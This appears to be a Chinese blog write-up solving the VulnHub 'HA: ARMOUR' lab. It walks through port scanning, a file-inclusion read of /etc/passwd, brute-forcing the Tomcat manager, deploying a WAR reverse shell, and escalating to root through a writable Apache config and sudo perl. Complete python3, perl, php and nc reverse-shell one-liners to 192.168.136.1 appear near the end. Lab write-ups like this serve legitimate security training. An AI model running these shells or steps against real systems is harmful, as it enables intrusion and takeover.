VulnHub靶场学习_HA: ARMOUR

HA: ARMOUR

Vulnhub靶场

下载地址:https://www.vulnhub.com/entry/ha-armour,370/

背景:

Klaw从“复仇者联盟”超级秘密基地偷走了一些盔甲。猎鹰检查了清单,以下是不负责任的事情:

1.绿巨人护甲 HulkBuster Armour

2.蜘蛛侠盔甲 Spiderman Armour

3.蚁人盔甲   Ant-Man Armour

4.黑豹盔甲   Black Panther Armour

5.钢铁侠盔甲 Iron Man Armour

克劳隐藏所有这些盔甲,现在由您决定。您可以使用渗透技能来恢复全部能力吗?

                                                                -史蒂夫·罗杰斯(Steve Rogers)上尉

PS: Klaw有将密码分为三部分并保存在不同位置的习惯。因此,如果您有一些建议,请结合起来继续前进。

 

首页:

 

首先进行端口扫描:

存在多个端口开放,依次对65534、80、8080、8009

由于该靶机是在2019年发布的,8009AJP漏洞是2020年公布的,所以尽量不使用。

该AJP漏洞是可以在Tomcat的webapps文件夹下任意文件读取及文件包含(此靶机存在该漏洞)。

 

尝试连接SSH:192.168.136.177:65534 获取到flag及一个提示。

 

绿巨人护甲

HulkBuster Armour:{7BDA7019C06B53AEFC8EE95D2CDACCAA}

Hint 1: TheOlympics

 

查看80端口,挺简单的没有太多复杂的东西。

 

进行目录扫描的的同时,查看下源码。

 

查看源码。

 

发现armour、69、notes.txt,应该是给的提示吧。

会不会是端口呢,前面没有扫出来,试试UDP扫描

 

百度下69端口下的服务。

 

这里是开启的Windows下的tftp服务进行连接,获取notes.txt文件拿到flag。

 

蜘蛛侠盔甲

Spiderman Armour:{83A75F0B31435193BAFD3B9C5FD45AEC}

Hint 2: maybeevena

 

能下载试试能不能上传,但也不知道上传的绝对路径,拿shell也是有阻碍的。

 

查看目录扫描的结果,发现个file.php

 

怀疑是文件读取或文件包含,利用bp进行爆破。

 

发现同样是file。

 

访问http://192.168.136.177/file.php?file=/etc/passwd

 

验证下,是文件包含。

http://192.168.136.177/file.php?file=/var/www/html/index.html

 

利用该文件包含看看能获取到什么,同样利用bp爆破敏感路径。

 

查找有无敏感信息暴露

 

最终发现了flag。

 

蚁人盔甲

Ant-Man Armour:{A9F56B7ECE2113C9C4A1214A19EDE99C}

Hint 3: StarBucks

 

拼接Hint1、Hint2、Hint 3得:

TheOlympicsmaybeevenaStarBucks

获取到密码,或许就是Tomcat的后台管理密码吧。

ps:在获得两个提示的时候,就去百度了The Olympics maybe even a能获取到完整的一句话。

也尝试登录tomcat,但使用的Starbucks小写的,没成功。

复仇者联盟:无限战争(2018)中的片段,举办奥运会,或者开家星巴克。

 

 

利用Msf进行尝试爆破。

用户名不对,记得前面有获取到/etc/passwd。将里面的armour及aarti加入用户名。

同时该Web页面的单词也少,就那么几个。

 

再次爆破,成功获取到账号。

 

利用Tomcat的war部署获取shell。

 

将下面的jsp文件打包成war包上传,从而反弹shell。

 

获取到Tomcat权限的shell。

 

查看了下Tomcat所在的文件夹,

前面有思路就是直接利用文件包含读Tomcat的配置文件获取密码。

 

在文件包含那个点,有输入过正确的路径,只是没有权限,所以没有成功获取。

 

看下sudo -l  和 find / -user root -perm -4000 -print 2>/dev/null

 

lsb_release -a 查看发行版本

uname -a 查看内核

 

netstat -tunlp 查看网络

 

有个本地的8081端口,在/下无权限。

 

切换到/tmp下尝试。

 

获取到flag。

 

黑豹盔甲

Black Panther Armour:{690B4BAC6CA9FB81814128A294470F92}

 

还剩最后一个提权的flag,但目前的tomcat权限下无法提权。

发现/var/www/html文件夹的权限是777。

 

利用下Apache反弹个shell试试。

利用tomcat在/var/www/html下建立反弹shell的nc.php。

 

没有回显。

 

查看权限,给个读权限。

 

 

 

反弹shell,权限

 

也没有获取root或home用户权限,但应该是从这个点获取shell,毕竟/var/www/html默认不是777权限。

那能不能改变Apache的上线用户呢,查看下Apache的配置文件看看及有无修改权限。

先用find来找下有无特意则为777权限的文件,默认是不会存在的。

find / -type f -perm 777 -exec ls -l {} \; 2>/dev/null

 

发现了Apache的配置文件及Tomcat的用户管理文件,剩下的就是我前面利用文件包含的遗留文件。

查看cat /etc/apache2/apache2.conf

 

根据设置转到cat /etc/apache2/envvars,发现了上面获取到的shell用户www-data。

 

尝试修改,无权限。

 

那就在/etc/apache2/apache2.conf下将修改:

User ${APACHE_RUN_USER}

Group ${APACHE_RUN_GROUP}

修改为:

User root

Group root

修改后要重启Apache,www-data重启Apache没有反应,这里只能重启的服务器

(正常应该是不能重启服务器的,可能存在更优解)

 

改为root后Apache无法运行,只能利用Tomcat权限的shell将root改为armour。

 

这里利用python3反弹交互式shell

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.136.1",3418));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

sudo -l和suid都没有可以利用的提权点。

将/etc/apache2/apache2.conf配置里的user及group改为aarti找下有无提权点。

还是只能重启服务器(这个点确实有点问题)

利用nc.php重新反弹。

 

 这里换下利用反弹交互式shell的方式

 perl -e 'use Socket;$i="192.168.136.1";$p=3418;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

新建一个监听接收反弹,反弹成功

反弹交互式shell有多种方法:这里介绍本靶机能够利用的

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.136.1",3418));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

perl -e 'use Socket;$i="192.168.136.1";$p=3418;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

php -r '$sock=fsockopen("192.168.136.1",3418);exec("/bin/sh -i <&3 >&3 2>&3");'

mkfifo /tmp/kikvf; nc 192.168.136.1 3418 0</tmp/kikvf | /bin/sh >/tmp/kikvf 2>&1; rm /tmp/kikvf

 

接下来提权sudo perl -e 'exec("/bin/bash -i");'

获取root权限。

 

 

 进入root文件夹获取flag。

 

钢铁侠盔甲

IronMan Armour:{3AE9D8799D1BB5E201E5704293BB54EF}

 

 

----end

posted @ 2020-04-18 21:33  Ly_Dargo  阅读(627)  评论(0)    收藏  举报